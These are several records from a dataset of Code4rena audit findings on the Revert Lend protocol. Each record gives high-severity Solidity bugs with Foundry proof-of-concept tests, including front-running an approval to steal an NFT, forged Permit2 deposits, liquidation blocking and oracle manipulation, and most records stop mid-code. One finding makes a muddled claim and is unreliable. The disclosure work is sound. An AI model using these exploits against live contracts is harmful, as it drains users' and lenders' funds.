xanoutas/solidity-security-findings huggingface dataset:
`V3Utils::execute` is missing `msg.sender` check
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L115
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L98


# Vulnerability details

## Impact
An attacker can front-run the approval of the NFT owner to `V3Utils.sol` and call `V3Utils::execute` with any `Instructions`.
## Proof of Concept
`V3Utils::execute` uses the "approve / execute" pattern. In order to call the `execute` function, the NFT owner must call the `nonfungiblePositionManager` (named `NPM` on tests) to approve the `V3Utils.sol` contract to transfer the NFT. As this is done in two different transaction if an EOA wants to interact with it, a malicious attacker could send a transaction right after the approval but before the execution with its own `Instructions`. As there is no check in the `V3Utils::execute` function to know if the `msg.sender` is approved or the owner, the attacker's `Instructions` will be executed.

Using `V3Utils::execute` through `V3Vault::transform` eliminates this vulnerability because the approve and execution are done within the same transaction. However, the smart contract functionality is not only usable by `V3Vault.sol`. Any external user is exposed to a unnecessary risk (because the mitigation is simple and doesn't affect the functionality). 

Provided here a test to be added in `test/integration/V3Utils.t.sol` showing how the attacker could steal the NFT:

```solidity
    function testTransferWithChangeRangeApproveFrontRunned() external {
        // Add liquidity to existing (empty) position (add 1 DAI / 0 USDC)
        _increaseLiquidity();

        uint256 countBefore = NPM.balanceOf(TEST_NFT_ACCOUNT);
        
        // Attacker sets up malicious intstructions
        address attacker = makeAddr("attacker");

        (,,,,,,, uint128 liquidityBefore,,,,) = NPM.positions(TEST_NFT);

        // Swap half of DAI to USDC and add full range
        // and change the recipient to the attacker address
        V3Utils.Instructions memory inst = V3Utils.Instructions(
            V3Utils.WhatToDo.CHANGE_RANGE,
            address(USDC),
            0,
            0,
            500000000000000000,
            400000,
            _get05DAIToUSDCSwapData(),
            0,
            0,
            "",
            type(uint128).max, // Take all fees
            type(uint128).max, // Take all fees
            100, // Change fee as well
            MIN_TICK_100,
            -MIN_TICK_100,
            liquidityBefore, // Take all liquidity
            0,
            0,
            block.timestamp,
            attacker,
            attacker,
            false,
            "",
            ""
        );

        // Using approve / execute pattern
        // Nft owner approves to then execute the instruction
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.approve(address(v3utils), TEST_NFT);

        //
Forged permit data enables zero-cost payments
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L893-L899
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L978-L984
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L717-L726


# Vulnerability details

## Impact
The attacker can mint shares for himself up to the daily limit (`dailyLendIncreaseLimitLeft`) with zero cost. Next day, the attacker can mint himself again up to the daily limit. However, the attacker could drain all the available liquidity in just one transaction by withdrawing because on withdraws `dailyLendIncreaseLimitLeft` is incremented. On liquidations, the liquidator can fool the protocol not paying the position cost but receiving collateral tokens.
## Proof of Concept
To achieve this, the attacker is able to deposit on `V3Vault::deposit` and `V3Vault::mint` with forged permit data. The attacker can set the permit data with any token and send those tokens through permit. This same exploit could be used on the `V3Vault::repay` function to pay debts taken (root cause is the same).

`V3Vault::_deposit`: 
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L893-L899
```solidity
if (permitData.length > 0) {
            // @audit what if I pay in a different token!!!!!
            (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
                abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
            permit2.permitTransferFrom(
                permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
            );
}
```

The protocol never checks that the received tokens are actually the underlying asset of the pool.

Provided here the `permit2::_permitTransferFrom` function as context:
https://github.com/Uniswap/permit2/blob/cc56ad0f3439c502c246fc5cfcc3db92bb8b7219/src/SignatureTransfer.sol#L45-L68

**Preparation:**
- Create `MockERC20.sol` on the `test/integration` folder and paste this code:
```solidity
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.10;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ERC20Mintable is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {}
    
    function mint(uint256 amount, address to) public {
        _mint(to, amount);
    }
}
```

- Import the mock on `test/integration/V3Vault.t.sol`:
```solidity
import {ERC20Mintable} from "./MockERC20.sol";
```

- Add the following test to `test/integration/V3Vault.t.sol`:

```solidity
function testDepositPermit2Attack() public {
        uint256 amount = 1000000;
        uint256 privateKey = 123;
        address addr = vm.addr(privateKey);

        ERC20Mintable tokenAttack = new ERC20Mintable("ATTACK", "ATTK");
The lender can have no fees from borrowers
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1281
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1289


# Vulnerability details

## Impact
The lend total is less than the debt total so if the borrowers repay all their debt s the lenders will not be able to get their fees.
## Proof of Concept
The different precision issues and the fact that the protocol is very permissive about the amounts of the different entry points of the user can make a situation where the totalDebt is higher than the totalLend. Also the fact that the protocol change the multiplier if the utilisation rate is higher than the kink to compute the borrow rate make this difference higher.
The issue is also related to the fact that it's possible to borrow all the available balance such as the vault is totally empty. 
You can run this test in V3Vault.t.sol, This test is the reproduction of a call sequence that I found with my fuzzer. It breaks the main invariant of the vault. 
```
//An address with many Dais 
address WHALE_ACCOUNT_DAI=0x40ec5B33f54e0E8A33A975908C5BA1c14e5BbbDf;
function testMainInvariant() external {
address bob = makeAddr("Bob");
// We change the limit In order to not be bodered by them. 
vault.setLimits(0, type(uint256).max,  type(uint256).max,  150000e6,  150000e6);
uint256 _tokenId=_create(1000000,bob);
_deposit(20795364104+1056710594,WHALE_ACCOUNT);
vm.prank(WHALE_ACCOUNT);
vault.redeem(22,WHALE_ACCOUNT,WHALE_ACCOUNT);
_deposit(273+24664430092,WHALE_ACCOUNT);
vm.prank(bob);
vault.borrow(_tokenId,30158032290+14606227737);
_deposit(1443,WHALE_ACCOUNT);
vm.warp(block.timestamp +91038);
vm.prank(bob);
vault.borrow(_tokenId,1372717978);
_deposit(235,WHALE_ACCOUNT);
vm.prank(bob);
vault.borrow(_tokenId,331799841);
vm.prank(WHALE_ACCOUNT);
vault.redeem(17715410,WHALE_ACCOUNT,WHALE_ACCOUNT);
console.log(vault.balanceOf(WHALE_ACCOUNT));
_deposit(321,WHALE_ACCOUNT);
console.log(vault.balanceOf(WHALE_ACCOUNT));
vm.prank(bob);
USDC.approve(address(vault),25970289515);
vm.prank(bob);
vault.repay(_tokenId,25970289515,false);
vm.prank(bob);
vault.borrow(_tokenId,25813047958);
_deposit(23657181460,WHALE_ACCOUNT);
vm.prank(WHALE_ACCOUNT);
vault.redeem(21422985849+854545209,WHALE_ACCOUNT,WHALE_ACCOUNT);
vm.prank(bob);
vault.borrow(_tokenId,1553392250);
_deposit(29,WHALE_ACCOUNT);
vm.prank(bob);
vault.borrow(_tokenId,77660);
vm.prank(WHALE_ACCOUNT);
vault.redeem(6640,WHALE_ACCOUNT,WHALE_ACCOUNT);
vm.warp(block.timestamp +6351+37576);
vm.prank(bob);
vault.borrow(_tokenId,14+1156);
vm.prank(WHALE_ACCOUNT);
vault.redeem(387+20+88,WHALE_ACCOUNT,WHALE_ACCOUNT);
vm.prank(bob);
vault.borrow(_tokenId,30);
    (uint256 totalDebt,uint256 totalLent,,uint256 available,, uint256 debtExchangeRateX96,uint256 lendExchangeRateX96)= vault.vaultInfo();
assert(totalDebt>totalLent);
}
//A helper function to create a position
function _create(uint256 amountToAdd, address user) internal returns(uint256) {
   uint amount0ToAd
Unable to redeem from Vault
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L329-L331


# Vulnerability details

## Impact

The `maxRedeem` function is a view function which only returns the balance of the owner contract or vault contract. After this value is obtained, the PT is not redeemed from Vault. The user will be unable to redeem PT from Vault throught V3Vault.sol

## Proof of Concept

[maxRedeem](https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L329-L331)
```solidity
    function maxRedeem(address owner) external view override returns (uint256) {
        return balanceOf(owner);
    }
```

## Tools used

in-house tool

## Recommmended Mitigation Steps

Call `redeem` using the amount from maxRedeem as the shares input after the call to maxRedeem


## Assessed type

Other
In `V3Vault::liquidate`, the borrower can liquidate his/her own debt position 
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L685-L757


# Vulnerability details

## Impact
In `V3Vault::liquidate`, the borrower can liquidate his/her own position. The borrower's obligation is to pay debts and interests while a liquidator's business is to liquidate positions that are deemed unhealthy. The borrower should have no business in liquidations even if it is his/her own debt position.

This is what will happen if left unfixed:
    - The liquidators will be forced to compete with the borrowers for liquidation profit. And since the borrowers know their own debt positions best, chances are the borrowers will reap the liquidation profit. Soon enough, liquidators will be demotivated in liquidating the protocol's unhealthy debt positions.
    - There is a lurking risk where the borrowers might game the system.

## Proof of Concept
This Foundry PoC shows that it is indeed possible for the borrower to liquidate his/her own position. To run the code below, copy it to the test suite and run: `forge test --mt testSelfLiquidationConfigBased -vv`
```solidity
// @audit No changes made from the original test suite
function _setupBasicLoan(bool borrowMax) internal {
    // lend 10 USDC
    _deposit(10000000, WHALE_ACCOUNT);        // @audit `WHALE_ACCOUNT` is the lender

    // add collateral
    vm.prank(TEST_NFT_ACCOUNT);
    NPM.approve(address(vault), TEST_NFT);
    vm.prank(TEST_NFT_ACCOUNT);
    vault.create(TEST_NFT, TEST_NFT_ACCOUNT); // @audit `TEST_NFT_ACCOUNT` creates a position first before borrowing

    (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
    assertEq(collateralValue, 8847206);
    assertEq(fullValue, 9830229);

    if (borrowMax) {
        // borrow max
        vm.prank(TEST_NFT_ACCOUNT);
        vault.borrow(TEST_NFT, collateralValue);
    }
}
// @audit No changes made from the original test suite
function _deposit(uint256 amount, address account) internal {
    vm.prank(account);
    USDC.approve(address(vault), amount);
    vm.prank(account);
    vault.deposit(amount, account);
}

// @audit Renamed to `testSelfLiquidationConfigBased` from `testLiquidationConfigBased`
function testSelfLiquidationConfigBased() external {
    _testSelfLiquidation();
}

enum LiquidationType {
    TimeBased,
    ValueBased,
    ConfigBased
}

// @audit this is a stubbed / simplified version of `_testLiquidation`
function _testSelfLiquidation() internal {
    _setupBasicLoan(true); // @audit the borrower is `TEST_NFT_ACCOUNT`

    (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
    (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
    
    vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max);
    (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

    uint256 balancePreLiquidation = USDC.bala
Borrower can block liquidation by reverting in onERC721Received
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083


# Vulnerability details

At the end of a liquidation, the Uniswap V3 LP NFT is sent back to the borrower using `safeTransferFrom`. If the borrower is a smart contract, it can revert in `onERC721Received` to block the liquidation.

## Affected code

At the end of `V3Vault.liquidate`, `V3Vault._cleanupLoan` is called:

[V3Vault.sol#L744](https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L744)

```solidity
function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) {
    [...]

    // disarm loan and send remaining position to owner
    _cleanupLoan(params.tokenId, state.newDebtExchangeRateX96, state.newLendExchangeRateX96, owner);

    [...]
}
```

`V3Vault._cleanupLoan` uses `nonfungiblePositionManager.safeTransferFrom` to send the Uniswap V3 LP NFT back to the borrower:

[V3Vault.sol#L1083](https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083)

```solidity
// cleans up loan when it is closed because of replacement, repayment or liquidation
// send the position in its current state to owner
function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
    internal
{
    [...]
    nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
    [...]
}
```

If `owner` is a smart contract, `nonfungiblePositionManager.safeTransferFrom` will call `onERC721Received` on the `owner` contract as required by the ERC-721 specification. If `onERC721Received` reverts, `V3Vault.liquidate` will also revert, causing the liquidation to fail.

Effectively, the borrower can control whether a liquidation of an unhealthy loan is possible.

## Impact

A borrower blocking the liquidation of an unhealthy loan can leave the protocol with bad debt. If the borrower enables the liquidation later on and the liquidation happens at a loss (recovered assets < debt), the protocol's reserves will be reduced and in case the protocol's reserves cannot cover the shortfall, the lenders will lose some of their funds.

## Proof of Concept

Note: Please ensure that the `POOL_INIT_CODE_HASH` has been set correctly as described in the contest's [README](https://github.com/code-423n4/2024-03-revert-lend/blob/main/README.md#tests) before running the test.

Add the following contract to [V3Vault.t.sol](https://github.com/code-423n4/2024-03-revert-lend/blob/main/test/integration/V3Vault.t.sol):

```solidity
contract BadWallet {
    address immutable owner = msg.sender;
    bool allowERC721Receive;

    function makeCall(address target, bytes memory data) external returns (bool success, bytes memory retData) {
        require(msg.sender == owner, "only owner");
        return target.call(data);
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        require(allowERC72
borrower can exit the position without repaying loan when depositing a new nonfungiblePositionManager NFT
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L433-L483


# Vulnerability details



When providing collateral through a nonfungiblePositionManager, if the borrower had already provided a nonfungiblePositionManager NFT as collateral. The new provided NFT will replace the old one, sending the old collateral back to the user. 
The issue that the protocol faces here, is that the health status of the position is not verified and a borrower can retrieve his collateral without paying back his debt.

## Impact

Borrowers can exit their collateral without having to pay back their debt. Protocol will become insolvent

## Proof of Concept

The logic for depositing collateral through a `nonfungiblePositionManager` NFT happens in the [onERC721Received()](https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L468-L477) function. 

```solidity
//V3Vault.sol

@>   _addTokenToOwner(owner, tokenId);  //add token to 0wner-token mappings
                emit Add(tokenId, owner, oldTokenId);

                // clears data of old loan
@>              _cleanupLoan(oldTokenId, debtExchangeRateX96,  
lendExchangeRateX96, owner);  // send old token back to owner

                // sets data of new loan
@>              _updateAndCheckCollateral(
                    tokenId, debtExchangeRateX96, lendExchangeRateX96, 0, loans[tokenId].debtShares // check that there is enough collateral in the system
                ); 
``` 
So in this bit we can see that we first add the token to the owner-token mapping with the `_addTokenToOwner()` call.
Then old token is deleted from mappings and sent back to the owner with the `_cleanupLoan`.
And finally we check that there is enough collateral in the system with `_updateAndCheckCollateral` call.

But we are missing a `_checkLoanIsHealthy` call to check if the borrower himself has enough collateral to cover the position.



## Tools Used

Manual review

## Recommended Mitigation Steps

In order to mitigate this issue, before finalizing the transaction, check if the position is healthy with a `_checkLoanIsHealthy`  call. 

```diff

                _addTokenToOwner(owner, tokenId);
                emit Add(tokenId, owner, oldTokenId);

                // clears data of old loan
                _cleanupLoan(oldTokenId, debtExchangeRateX96, lendExchangeRateX96, owner);

                // sets data of new loan
                _updateAndCheckCollateral(
                    tokenId, debtExchangeRateX96, lendExchangeRateX96, 0, loans[tokenId].debtShares
                );
 ++             _checkLoanIsHealthy(tokenId, loans[tokenId].debtShares);              
            }
        }

        return IERC721Receiver.onERC721Received.selector;
    }
```


## Assessed type

Invalid Validation
Funds may get locked in `V3Utils` when `instructions.targetcontract` is not valid
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L304


# Vulnerability details

## Impact
in `V3Utils.sol` and `WhatToDo.WITHDRAW_AND_COLLECT_AND_SWAP` funds can be locked when the targetContact is not valid or not supported therefore causing the transaction to fail. and since there is no alternative, The tokens when this happens will be locked.  

## Proof of Concept
1. User sets up `instructions.targetcontract` which is invalidtoken for eg `WFAIL` and sets instruction to `WITHDRAW_AND_COLLECT_AND_SWAP`
2. The contract transfers his valid tokens to itself lets say `WETH` and `WBTC`.
3. when the instruction executes and swap is called for `WBTC` and `WETH` to `WFAIL` the transaction fails.
4. The tokens remain locked in the contract.

## Tools Used
manual review

## Recommended Mitigation Steps
1.  set `targetContract` in `WITHDRAW_AND_COLLECT_AND_SWAP`to one which will never fail such as `USDC` and not give the `owner` the freedom to choose the targetContract
2. Add `_returnLeftOverTokens` to act as a backup when it fails


## Assessed type

Other
`V3Vault.sol` accept NFT from pool no one is using with low liquidity. Allow oracle price manipulation and steal tokens from the pool
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L427-L475


# Vulnerability details



`V3Vault.sol` allow user deposit any uniswapNFT and borrow against them. As long as oracle can calculate these NFT worth.

But some pool like `(USDC,DAI,fee = 10000)` exist with no liquidity.
<https://etherscan.io/address/0x6958686b6348c3D6d5f2dCA3106A5C09C156873a#code>

`V3Vault.sol` check this low liquidity pool have similar price as other pool with high liquidity as valid. It use same chainlink and TWAP oracle feeds to calculate value of this low liquidity pool.
But what it cant do is checking if some extreme price tick position can be instantly reached due to low liquidity.

This allow attacker use this low liquidity pool to create extreme NFT uniswap position and borrow against it then trading with unfair price in manipulated pool for profit.

## Impact

User steal money from Vault using uniswapV3 mechanism of low liquidity pool and positions in single block.

## Proof of Concept

Using this [low liquidity pool `(USDC,DAI,fee = 10000)`](https://etherscan.io/address/0x6958686b6348c3D6d5f2dCA3106A5C09C156873a#code)

Making absurd UniswapNFT positions holding (10000 USDC, 0.1 DAI) in this low liquidity pool.
Exploiter can create NFT position that only kick in when price reach 10000 USDC = 0.1 DAI.

The pool exchange price still 1 DAI = 1 USDC.
Except the liquidity in tick 1 DAI = 1 USDC is just 5$ of liquidity.
While liquidity in tick 0.1 DAI = 10000 USDC is 10000$ of liquidity.

`V3Vault` use oracle and consider this position worth 10000$ and can borrow 8000$ USDC against it.

Attacker transfer this NFT and borrow 8000 USDC against it.
Then swap ~10 DAI for 8000 USDC.
This UniswapNFT position now worth (2000 USDC, 10 DAI).
Exploiter just profit 6000 USDC from Vault.

### Step by step

1. `V3Vault.sol` accept any uniswapNFT positions as collateral. Even when it hold wrong non-supported token.
<https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L427-L475>
2. Borrow using NFT as collateral use `V3Oracle.sol` to calculate how much token this position hold.
<https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L591-L593>
<https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1270-L1279>
3. `V3Oracle.sol` use UniswapPool to calculate holding of this NFT position. It get how much token this position is holding depend on tick price and tick position.
<https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L101-L102>
4. Liquidity math just use regular UniswapMath. It does not care what
5. Oracle also check if this pool price is within 2% range of main pool price.
<https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b1